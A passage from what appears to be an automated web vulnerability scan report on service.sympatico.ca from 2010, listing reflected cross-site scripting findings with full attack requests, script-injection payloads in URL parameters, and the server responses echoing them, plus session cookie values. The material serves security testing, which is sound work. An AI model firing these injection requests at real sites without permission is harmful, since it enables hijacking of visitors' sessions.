Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
x.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.pngabbde"><script>alert(1)</script>cfbbba3213e" />
...[SNIP]...

2.158. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9915a"><script>alert(1)</script>035c5934edc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png?9915a"><script>alert(1)</script>035c5934edc=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:19 GMT
Connection: close
Set-Cookie: SMSESSION=/mIIoorxLp3OmSGZBwOY77ewTnaybD11CfHuJeWkB3IR+8BC2/526/HffHkK4C+oDNjdQemxWFm8QZzFWKBbB73XIeuxXh2cL4pNjgKtBNTbkTn8Lf0TTaa4YOYou2ZZdd+6x0G7tkjqPSmOoC/qq+eoYJKo5/4E0Jfgl5dINeTxjD7KjoxzG9rpYf6VfbJWyqp7/sgZiF5RlAFJ/kvUkd17IHxYXKcYQjpJLoaEPZ+gfrSzIWXU1lSEeDTDO4NLV5IvIMtSkkTY6b0igcbku+PJfru59jPaVdgR0uDe4bFvSPCxg14ymA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png?9915a"><script>alert(1)</script>035c5934edc=1" />
...[SNIP]...

2.159. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b48bf"><script>alert(1)</script>14f9dbff215 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb48bf"><script>alert(1)</script>14f9dbff215/images/icons/vi_topNavTelevision.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=yGmkcIjMmBYE02CxJzvgOqpL8bIXDSRFazc5lsacHa4/QDtQ1NPM+0iTCPy+EneiLABcI7sAWhjPPMEN2Fa64Q0m7dKxgoHRRfkdO94vSwTQaDGSCBZJ6zUY3byeMQwozLU4YtJEVdk9ivXIXoseZZLPXMoxeE2Gc/6pPl7QarViOo9bI1sdHg4pw6C6Cj56OxwqU+D1FyBqAa3bXMRcpjAhgB9m95pSCm93fRiYTTEGzzcjQIzjD4/gjjm8q93FdUtXed+UashGEyJ3HU0yLWUkCOBOEXAN8jbNBLOZTJKWN7N95/wCgg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb48bf"><script>alert(1)</script>14f9dbff215/images/icons/vi_topNavTelevision.png" />
...[SNIP]...

2.160. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa574"><script>alert(1)</script>3fefd3e3821 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagesaa574"><script>alert(1)</script>3fefd3e3821/icons/vi_topNavTelevision.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:19 GMT
Connection: close
Set-Cookie: SMSESSION=UEdYFRm78m5l0g/He1ORTxmWyrIRa5qLX3PynOGwYQWE6Eg0yycgUaDN2P/Fkb4bBX7tb40mXnZykZYGcRpu2Hqoj1nr+Nh1SrO/GpxfJogo8zW0ozNxv94kdEuPUkCsP200qtQQLRxjQ2/90kw3D1/GJdOOgvq7Q6tSWOqhb1MKqNVElTsR4p+aK4mtXt6AAn8Nc1gvVXxDG9FljYhZZINTGLoWm4JO0wm3QEsMhukyyFu3pSaHLxg9CsOR5TWWMNKfrvOHU4nLAkLPo9dlZqbAjQ1bmPWBj4FhL0nqAyOsJ4h05f2QNA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
